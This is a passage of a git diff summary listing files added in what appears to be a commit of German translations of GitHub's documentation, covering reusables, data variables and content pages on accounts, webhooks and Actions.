 .../reusables/sponsors/update-sponsorship.md  |   10 +
 .../sponsors/view-eligible-accounts.md        |   10 +
 .../sponsors/webhook-content-formatting.md    |    9 +
 .../sponsors/webhook-secret-token.md          |   10 +
 .../sponsors/who-can-see-your-sponsorship.md  |    9 +
 .../sponsors/write-sponsor-update.md          |   10 +
 .../you-can-be-a-sponsored-developer.md       |    9 +
 .../you-can-be-a-sponsored-organization.md    |    9 +
 .../reusables/sponsors/your-sponsors-tab.md   |   10 +
 .../de-DE/data/reusables/ssh/about-ssh.md     |    1 +
 .../reusables/ssh/add-ssh-key-to-ssh-agent.md |    9 +
 .../data/reusables/ssh/key-type-support.md    |   28 +
 .../rsa-sha-1-connection-failure-criteria.md  |    2 +
 .../reusables/stars/stars-page-navigation.md  |   10 +
 .../reusables/support/ask-and-answer-forum.md |    9 +
 .../support/connect-in-the-forum-bootcamp.md  |    9 +
 .../support/data-protection-and-privacy.md    |    9 +
 ...nterprise-resolving-and-closing-tickets.md |   14 +
 .../reusables/support/entitlements-note.md    |   13 +
 .../support/free-and-paid-support.md          |    9 +
 .../data/reusables/support/ghae-priorities.md |   14 +
 .../data/reusables/support/ghes-priorities.md |   14 +
 .../github-can-modify-ticket-priority.md      |    9 +
 .../data/reusables/support/help_resources.md  |    7 +
 .../support/navigate-to-my-tickets.md         |   12 +
 .../support/premium-support-features.md       |   19 +
 .../support/priority-urgent-english-only.md   |    9 +
 .../prodname_support_forum_with_url.md        |    9 +
 .../reusables/support/scope-of-support.md     |   19 +
 .../data/reusables/support/submit-a-ticket.md |   45 +
 .../reusables/support/view-open-tickets.md    |   16 +
 .../reusables/support/zendesk-old-tickets.md  |   13 +
 .../data/reusables/supported-languages/C.md   |    9 +
 .../data/reusables/supported-languages/Cpp.md |    9 +
 .../data/reusables/supported-languages/Cs.md  |    9 +
 .../data/reusables/supported-languages/go.md  |    9 +
 .../reusables/supported-languages/java.md     |    9 +
 .../supported-languages/javascript.md         |    9 +
 .../data/reusables/supported-languages/php.md |    9 +
 .../products-table-header.md                  |    9 +
 .../reusables/supported-languages/python.md   |    9 +
 .../reusables/supported-languages/ruby.md     |    9 +
 .../reusables/supported-languages/scala.md    |    9 +
 .../supported-languages/typescript.md         |    9 +
 .../data/reusables/time_date/date_format.md   |    9 +
 .../data/reusables/time_date/time_format.md   |    9 +
 .../2fa_not_supported_with_saml_and_cas.md    |    9 +
 .../de-DE/data/reusables/two_fa/about-2fa.md  |    9 +
 .../reusables/two_fa/about-recovery-codes.md  |    9 +
 .../two_fa/after-2fa-add-security-key.md      |    9 +
 .../data/reusables/two_fa/auth_methods_2fa.md |   18 +
 .../enable-two-factor-authentication.md       |   10 +
 ...ve_your_recovery_codes_during_2fa_setup.md |   11 +
 ...to-reinstate-user-before-2fa-is-enabled.md |   10 +
 .../reusables/two_fa/show-recovery-codes.md   |   10 +
 .../reusables/two_fa/support-may-not-help.md  |    9 +
 .../reusables/two_fa/test_2fa_immediately.md  |    9 +
 .../reusables/two_fa/username-password.md     |    9 +
 .../about-commit-email-addresses.md           |    9 +
 .../user-settings/access_applications.md      |    6 +
 .../access_authorized_oauth_apps.md           |    9 +
 .../reusables/user-settings/access_org.md     |   10 +
 .../user-settings/access_settings.md          |   11 +
 .../user-settings/accessibility_settings.md   |    9 +
 .../user-settings/account_settings.md         |    6 +
 .../user-settings/add_and_verify_email.md     |    5 +
 .../user-settings/appearance-settings.md      |    7 +
 .../user-settings/automatic_watching_box.md   |    9 +
 .../reusables/user-settings/billing_plans.md  |    9 +
 .../reusables/user-settings/blocked_users.md  |    9 +
 .../classic-projects-api-classic-pat-only.md  |   13 +
 .../codespaces-secret-repository-access.md    |   10 +
 .../user-settings/codespaces-secret-value.md  |   10 +
 .../reusables/user-settings/codespaces-tab.md |    9 +
 .../confirm_git_email_address_correct.md      |    9 +
 .../confirm_git_username_correct.md           |    9 +
 .../user-settings/context_switcher.md         |    9 +
 .../user-settings/copilot-settings.md         |    9 +
 .../reusables/user-settings/deleted-repos.md  |   10 +
 .../user-settings/developer_settings.md       |    6 +
 .../user-settings/edit_marketplace_listing.md |   10 +
 .../data/reusables/user-settings/emails.md    |    6 +
 .../enabling-fixed-width-fonts.md             |   13 +
 .../enterprise-admin-api-classic-pat-only.md  |   13 +
 .../reusables/user-settings/export-data.md    |   10 +
 .../user-settings/generate_new_token.md       |   10 +
 .../user-settings/generic-classic-pat-only.md |    9 +
 .../reusables/user-settings/github_apps.md    |   10 +
 .../user-settings/github_apps_advanced.md     |   10 +
 .../user-settings/graphql-classic-pat-only.md |   13 +
 .../imports-api-classic-pat-only.md           |   13 +
 .../reusables/user-settings/jira_help_docs.md |    9 +
 .../keeping_your_email_address_private.md     |   10 +
 .../link_email_with_your_account.md           |    3 +
 .../user-settings/marketplace_apps.md         |   13 +
 .../user-settings/modify_github_app.md        |   10 +
 .../user-settings/modify_oauth_app.md         |   10 +
 .../no-verification-disposable-emails.md      |    9 +
 .../notifications-api-classic-pat-only.md     |   13 +
 .../reusables/user-settings/notifications.md  |   10 +
 .../reusables/user-settings/oauth_apps.md     |   10 +
 .../reusables/user-settings/organizations.md  |    6 +
 ...word-authentication-deprecation-desktop.md |   13 +
 .../password-authentication-deprecation.md    |    1 +
 .../reusables/user-settings/pat-v2-beta.md    |    9 +
 .../user-settings/pat-v2-org-opt-in.md        |   15 +
 .../reusables/user-settings/patv2-filters.md  |   12 +
 .../user-settings/patv2-limitations.md        |   28 +
 .../user-settings/payment-info-link.md        |   10 +
 .../user-settings/personal_access_tokens.md   |    2 +
 .../user-settings/personal_dashboard.md       |    9 +
 .../removes-personal-access-tokens.md         |    1 +
 .../data/reusables/user-settings/repo-tab.md  |    6 +
 .../user-settings/restore-confirmation.md     |   10 +
 .../reusables/user-settings/restore-repo.md   |   10 +
 .../user-settings/review-oauth-apps.md        |   10 +
 .../user-settings/review_oauth_tokens_tip.md  |    9 +
 .../reusables/user-settings/saved_replies.md  |    6 +
 .../user-settings/security-analysis.md        |    6 +
 .../data/reusables/user-settings/security.md  |    6 +
 .../user-settings/select_primary_email.md     |   10 +
 .../set_your_email_address_in_git.md          |    9 +
 .../user-settings/set_your_git_username.md    |    9 +
 .../de-DE/data/reusables/user-settings/ssh.md |    6 +
 .../user-settings/sudo-mode-popup.md          |   11 +
 .../user-settings/update-preferences.md       |    9 +
 .../user-settings/update_oauth_app.md         |   10 +
 .../data/reusables/user-settings/user-api.md  |    9 +
 .../verify-org-approved-email-domain.md       |    9 +
 .../reusables/vs-code/open-command-palette.md |    9 +
 .../reusables/webhooks/action_type_desc.md    |    9 +
 .../reusables/webhooks/app_always_desc.md     |    9 +
 .../de-DE/data/reusables/webhooks/app_desc.md |    9 +
 .../reusables/webhooks/authorization_event.md |    9 +
 .../webhooks/check_run_properties.md          |   20 +
 .../webhooks/check_run_short_desc.md          |    9 +
 .../webhooks/check_suite_properties.md        |   18 +
 .../webhooks/check_suite_short_desc.md        |    9 +
 .../code_scanning_alert_event_properties.md   |   14 +
 .../code_scanning_alert_event_short_desc.md   |    9 +
 .../webhooks/commit_comment_properties.md     |   12 +
 .../webhooks/commit_comment_short_desc.md     |    9 +
 .../webhooks/content_reference_short_desc.md  |    9 +
 .../data/reusables/webhooks/content_type.md   |   14 +
 .../reusables/webhooks/create_properties.md   |   14 +
 .../reusables/webhooks/create_short_desc.md   |    9 +
 .../reusables/webhooks/delete_properties.md   |   12 +
 .../reusables/webhooks/delete_short_desc.md   |    9 +
 .../webhooks/deploy_key_properties.md         |   12 +
 .../webhooks/deploy_key_short_desc.md         |    9 +
 .../webhooks/deployment_short_desc.md         |    9 +
 .../webhooks/deployment_status_short_desc.md  |    9 +
 .../reusables/webhooks/discussion_desc.md     |    9 +
 .../webhooks/discussions-webhooks-beta.md     |   13 +
 .../webhooks/enterprise_short_desc.md         |    9 +
 .../reusables/webhooks/events_api_payload.md  |    9 +
 .../reusables/webhooks/fork_properties.md     |   11 +
 .../reusables/webhooks/fork_short_desc.md     |    9 +
 .../reusables/webhooks/gollum_properties.md   |   16 +
 .../reusables/webhooks/gollum_short_desc.md   |    9 +
 .../webhooks/installation_properties.md       |   12 +
 .../installation_repositories_properties.md   |   14 +
 .../installation_repositories_short_desc.md   |    9 +
 .../webhooks/installation_short_desc.md       |    9 +
 .../webhooks/issue_comment_properties.md      |   12 +
 .../webhooks/issue_comment_short_desc.md      |    9 +
 .../issue_comment_webhook_properties.md       |   11 +
 .../webhooks/issue_event_api_properties.md    |   11 +
 .../reusables/webhooks/issue_properties.md    |   14 +
 .../webhooks/issue_webhook_properties.md      |   11 +
 .../reusables/webhooks/issues_short_desc.md   |    9 +
 .../reusables/webhooks/label_short_desc.md    |    9 +
 .../webhooks/member_event_api_properties.md   |   11 +
 .../reusables/webhooks/member_properties.md   |   11 +
 .../reusables/webhooks/member_short_desc.md   |    9 +
 .../webhooks/member_webhook_properties.md     |   11 +
 .../webhooks/membership_properties.md         |   14 +
 .../webhooks/membership_short_desc.md         |    9 +
 .../webhooks/milestone_properties.md          |   16 +
 .../webhooks/milestone_short_desc.md          |    9 +
 .../webhooks/org_block_short_desc.md          |    9 +
 .../de-DE/data/reusables/webhooks/org_desc.md |    9 +
 .../reusables/webhooks/org_desc_graphql.md    |    9 +
 .../webhooks/organization_short_desc.md       |    9 +
 .../reusables/webhooks/package_properties.md  |   12 +
 .../webhooks/page_build_short_desc.md         |    9 +
 .../data/reusables/webhooks/payload_url.md    |    9 +
 .../reusables/webhooks/ping_short_desc.md     |    9 +
 .../webhooks/project_card_properties.md       |   15 +
 .../webhooks/project_card_short_desc.md       |    9 +
 .../webhooks/project_column_properties.md     |   15 +
 .../webhooks/project_column_short_desc.md     |    9 +
 .../reusables/webhooks/project_properties.md  |   15 +
 .../reusables/webhooks/project_short_desc.md  |    9 +
 .../reusables/webhooks/public_short_desc.md   |    9 +
 .../pull_request_event_api_properties.md      |   11 +
 .../webhooks/pull_request_properties.md       |   13 +
 ...est_review_comment_event_api_properties.md |   11 +
 .../pull_request_review_comment_properties.md |   12 +
 .../pull_request_review_comment_short_desc.md |    9 +
 ...quest_review_comment_webhook_properties.md |   11 +
 .../pull_request_review_properties.md         |   14 +
 .../pull_request_review_short_desc.md         |    9 +
 .../pull_request_review_thread_short_desc.md  |    9 +
 .../webhooks/pull_request_short_desc.md       |    9 +
 .../pull_request_thread_properties.md         |   13 +
 .../pull_request_webhook_properties.md        |   11 +
 .../reusables/webhooks/push_short_desc.md     |    9 +
 .../reusables/webhooks/pusher_type_desc.md    |    9 +
 .../webhooks/release_event_api_properties.md  |   11 +
 .../reusables/webhooks/release_properties.md  |   11 +
 .../reusables/webhooks/release_short_desc.md  |    9 +
 .../webhooks/release_webhook_properties.md    |   11 +
 .../data/reusables/webhooks/repo_desc.md      |    9 +
 .../reusables/webhooks/repo_desc_graphql.md   |    9 +
 .../webhooks/repository_import_properties.md  |   11 +
 .../webhooks/repository_import_short_desc.md  |    9 +
 .../webhooks/repository_short_desc.md         |    9 +
 ...pository_vulnerability_alert_properties.md |   12 +
 ...pository_vulnerability_alert_short_desc.md |    7 +
 .../de-DE/data/reusables/webhooks/secret.md   |    9 +
 .../secret_scanning_alert_event_properties.md |   12 +
 .../secret_scanning_alert_event_short_desc.md |   10 +
 ...canning_alert_location_event_properties.md |   13 +
 ...canning_alert_location_event_short_desc.md |    9 +
 .../data/reusables/webhooks/sender_desc.md    |    9 +
 .../sponsorship_event_api_properties.md       |   11 +
 .../webhooks/sponsorship_properties.md        |   11 +
 .../webhooks/sponsorship_short_desc.md        |    9 +
 .../sponsorship_webhook_properties.md         |   11 +
 .../reusables/webhooks/star_properties.md     |   12 +
 .../reusables/webhooks/star_short_desc.md     |    9 +
 .../reusables/webhooks/status_short_desc.md   |    9 +
 .../reusables/webhooks/team_add_short_desc.md |    9 +
 .../reusables/webhooks/team_short_desc.md     |    9 +
 .../reusables/webhooks/watch_properties.md    |   11 +
 .../reusables/webhooks/watch_short_desc.md    |    9 +
 .../webhooks/webhooks-rest-api-links.md       |   13 +
 .../data/reusables/webhooks/webhooks_intro.md |    9 +
 .../data/reusables/webhooks/webhooks_ssl.md   |    9 +
 .../data/reusables/webhooks/workflow_desc.md  |    9 +
 .../webhooks/workflow_job_properties.md       |   18 +
 .../webhooks/workflow_job_short_desc.md       |    9 +
 .../webhooks/workflow_run_properties.md       |    4 +
 translations/de-DE/data/ui.yml                |  235 +++
 translations/de-DE/data/variables/README.md   |   35 +
 translations/de-DE/data/variables/actions.yml |    2 +
 .../de-DE/data/variables/command_line.yml     |    9 +
 translations/de-DE/data/variables/contact.yml |   46 +
 translations/de-DE/data/variables/desktop.yml |    5 +
 .../de-DE/data/variables/enterprise.yml       |    3 +
 translations/de-DE/data/variables/explore.yml |    6 +
 translations/de-DE/data/variables/gists.yml   |    6 +
 .../de-DE/data/variables/large_files.yml      |   14 +
 .../de-DE/data/variables/migrations.yml       |    6 +
 .../de-DE/data/variables/notifications.yml    |    4 +
 translations/de-DE/data/variables/product.yml |  278 +++
 .../de-DE/data/variables/projects.yml         |   23 +
 .../data/variables/release_candidate.yml      |    1 +
 translations/de-DE/data/variables/search.yml  |    4 +
 translations/log/msft-de-resets.csv           | 1141 +++++++++++++
 4493 files changed, 198882 insertions(+), 5 deletions(-)
 create mode 100644 translations/de-DE/Placeholder.txt
 create mode 100644 translations/de-DE/content/account-and-profile/index.md
 create mode 100644 translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md
 create mode 100644 translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/index.md
 create mode 100644 translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md
 create mode 100644 translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md
 create mode 100644 translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md
 create mode 100644 translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md
 create mode 100644 translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/index.md
 create mode 100644 translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/customizing-a-workflow-for-triaging-your-notifications.md
 create mode 100644 translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md
 create mode 100644 translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md
 create mode 100644 translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/triaging-a-single-notification.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/index.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/setting-your-profile-to-private.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/index.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/index.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-an-overview-of-your-activity-on-your-profile.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/troubleshooting-commits-on-your-timeline.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/index.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/index.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-personal-accounts-repositories.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/changing-your-primary-email-address.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/index.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/managing-marketing-emails-from-github.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/remembering-your-github-username-or-email.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-a-backup-email-address.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/types-of-emails-github-sends.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/about-your-personal-dashboard.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/changing-your-github-username.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/index.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/integrating-jira-with-your-personal-projects.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-access-to-your-personal-accounts-project-boards.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-accessibility-settings.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-the-default-branch-name-for-your-repositories.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-cookie-preferences-for-githubs-enterprise-marketing-pages.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-tab-size-rendering-preference.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-theme-settings.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/permission-levels-for-a-personal-account-repository.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/permission-levels-for-a-project-board-owned-by-a-personal-account.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/what-does-the-available-for-hire-checkbox-do.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/about-organization-membership.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/accessing-an-organization.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/index.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/managing-your-scheduled-reminders.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/best-practices-for-leaving-your-company.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/converting-a-user-into-an-organization.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/deleting-your-personal-account.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/index.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/managing-multiple-accounts.md
 create mode 100644 translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/merging-multiple-personal-accounts.md
 create mode 100644 translations/de-DE/content/actions/automating-builds-and-tests/about-continuous-integration.md
 create mode 100644 translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-go.md
 create mode 100644 translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md
 create mode 100644 translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md
 create mode 100644 translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md
 create mode 100644 translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-net.md
 create mode 100644 translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md
 create mode 100644 translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-powershell.md
 create mode 100644 translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-python.md
 create mode 100644 translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-ruby.md
 create mode 100644 translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-swift.md
 create mode 100644 translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md
 create mode 100644 translations/de-DE/content/actions/automating-builds-and-tests/index.md
 create mode 100644 translations/de-DE/content/actions/creating-actions/about-custom-actions.md
 create mode 100644 translations/de-DE/content/actions/creating-actions/creating-a-composite-action.md
 create mode 100644 translations/de-DE/content/actions/creating-actions/creating-a-docker-container-action.md
 create mode 100644 translations/de-DE/content/actions/creating-actions/creating-a-javascript-action.md
 create mode 100644 translations/de-DE/content/actions/creating-actions/developing-a-third-party-cli-action.md
 create mode 100644 translations/de-DE/content/actions/creating-actions/dockerfile-support-for-github-actions.md
 create mode 100644 translations/de-DE/content/actions/creating-actions/index.md
 create mode 100644 translations/de-DE/content/actions/creating-actions/metadata-syntax-for-github-actions.md
 create mode 100644 translations/de-DE/content/actions/creating-actions/publishing-actions-in-github-marketplace.md
 create mode 100644 translations/de-DE/content/actions/creating-actions/releasing-and-maintaining-actions.md
 create mode 100644 translations/de-DE/content/actions/creating-actions/setting-exit-codes-for-actions.md
 create mode 100644 translations/de-DE/content/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise.md
 create mode 100644 translations/de-DE/content/actions/deployment/about-deployments/about-continuous-deployment.md
 create mode 100644 translations/de-DE/content/actions/deployment/about-deployments/deploying-with-github-actions.md
 create mode 100644 translations/de-DE/content/actions/deployment/about-deployments/index.md
 create mode 100644 translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md
 create mode 100644 translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md
 create mode 100644 translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md
 create mode 100644 translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md
 create mode 100644 translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md
 create mode 100644 translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md
 create mode 100644 translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md
 create mode 100644 translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md
 create mode 100644 translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md
 create mode 100644 translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/index.md
 create mode 100644 translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md
 create mode 100644 translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/index.md
 create mode 100644 translations/de-DE/content/actions/deployment/deploying-xcode-applications/index.md
 create mode 100644 translations/de-DE/content/actions/deployment/index.md
 create mode 100644 translations/de-DE/content/actions/deployment/managing-your-deployments/index.md
 create mode 100644 translations/de-DE/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md
 create mode 100644 translations/de-DE/content/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect.md
 create mode 100644 translations/de-DE/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md
 create mode 100644 translations/de-DE/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md
 create mode 100644 translations/de-DE/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-cloud-providers.md
 create mode 100644 translations/de-DE/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md
 create mode 100644 translations/de-DE/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-hashicorp-vault.md
 create mode 100644 translations/de-DE/content/actions/deployment/security-hardening-your-deployments/index.md
 create mode 100644 translations/de-DE/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md
 create mode 100644 translations/de-DE/content/actions/deployment/targeting-different-environments/index.md
 create mode 100644 translations/de-DE/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md
 create mode 100644 translations/de-DE/content/actions/examples/index.md
 create mode 100644 translations/de-DE/content/actions/examples/using-concurrency-expressions-and-a-test-matrix.md
 create mode 100644 translations/de-DE/content/actions/examples/using-scripts-to-test-your-code-on-a-runner.md
 create mode 100644 translations/de-DE/content/actions/examples/using-the-github-cli-on-a-runner.md
 create mode 100644 translations/de-DE/content/actions/guides.md
 create mode 100644 translations/de-DE/content/actions/hosting-your-own-runners/about-self-hosted-runners.md
 create mode 100644 translations/de-DE/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md
 create mode 100644 translations/de-DE/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md
 create mode 100644 translations/de-DE/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md
 create mode 100644 translations/de-DE/content/actions/hosting-your-own-runners/customizing-the-containers-used-by-jobs.md
 create mode 100644 translations/de-DE/content/actions/hosting-your-own-runners/index.md
 create mode 100644 translations/de-DE/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md
 create mode 100644 translations/de-DE/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md
 create mode 100644 translations/de-DE/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md
